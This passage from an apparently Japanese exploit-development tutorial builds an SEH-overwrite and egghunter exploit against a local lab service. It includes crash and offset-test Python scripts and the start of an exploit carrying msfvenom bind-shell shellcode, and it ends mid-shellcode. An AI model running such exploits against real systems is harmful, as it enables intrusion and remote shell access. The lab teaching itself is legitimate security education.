Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9G&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; socket&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_connection&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recv&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;512&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    sent &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;send&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;sent &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sent&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; bytes&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;Immunity debugger上にて&lt;code class=&quot;language-text&quot;&gt;!mona findmsp&lt;/code&gt;を実行することで、SEH recordのoffsetが3514であるとわかります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/findmsp.png&quot; alt=&quot;findmsp&quot; title=&quot;findmsp&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;このときのStackを確認すると、nSEHおよびSEHに続いて、&lt;code class=&quot;language-text&quot;&gt;01D8FFCC&lt;/code&gt;〜&lt;code class=&quot;language-text&quot;&gt;01D8FFFF&lt;/code&gt;の52 byteを上書きできています。&lt;/p&gt;
&lt;p&gt;52 byteは、Shellcodeを上書きには小さいです。（電卓の起動くらいなら十分可能ですが…）&lt;/p&gt;
&lt;p&gt;よって、この小さいスペースには、別のスペースに書き込んだShellcodeを探し出して実行するための検索＆実行シーケンスを上書きすることにします。このシーケンスやテクニック自体を&lt;strong&gt;Egghunter&lt;/strong&gt;と呼びます。Egghhunterの動作に関する説明は後述することとします。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/stack_on_seven.png&quot; alt=&quot;Stack on Windows 7&quot; title=&quot;Stack on Windows 7&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;余談&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E4%BD%99%E8%AB%87&quot; aria-label=&quot;余談 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;余談&lt;/h3&gt;
&lt;p&gt;Windows XP SP3 Build 2600でも同様にSEHの後ろの上書き可能スペースのサイズを確認すると28 byteしかなく、Egghunterシーケンスを書き込むことができないことがわかります。実行環境によってExploitの条件は少しずつ(または大きく)異なるということです。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/stack_on_xp.png&quot; alt=&quot;Stack on Windows XP&quot; title=&quot;Stack on Windows XP&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;次に、&lt;code class=&quot;language-text&quot;&gt;!mona findmsp&lt;/code&gt;で見つけたnSEHのOffsetを使ってSEHを正しく上書きできることを以下のコードで確認します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;offset_test.py&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; struct
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; socket


target &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
vuln_cmd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;GMON /.:/ &quot;&lt;/span&gt;
crash_len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5011&lt;/span&gt;
offset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3514&lt;/span&gt;

payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vuln_cmd
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; offset
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;B&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# nseh&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;C&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# seh&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;D&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;crash_len &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; socket&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_connection&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recv&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;512&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    sent &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;send&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;sent &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sent&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; bytes&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;Stackを確認すると、意図したとおりnSEHとSEHにそれぞれ&lt;code class=&quot;language-text&quot;&gt;BBBB&lt;/code&gt;と&lt;code class=&quot;language-text&quot;&gt;CCCC&lt;/code&gt;が上書きされていることから、Offsetを正しく指定できていると判断できます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/offset_test.png&quot; alt=&quot;Offset test&quot; title=&quot;Offset test&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;エクスプロイト開発&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%97%E3%83%AD%E3%82%A4%E3%83%88%E9%96%8B%E7%99%BA&quot; aria-label=&quot;エクスプロイト開発 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;エクスプロイト開発&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;特定したOffset情報によってSEH OverwriteとEgghunterのテクニックを用いたExploitを作成します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;exploit.py&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; struct
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; socket


&lt;span class=&quot;token comment&quot;&gt;# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b &apos;\x00&apos; EXITFUNC=thread&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Payload size: 355 bytes&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17&quot;&lt;/span&gt;
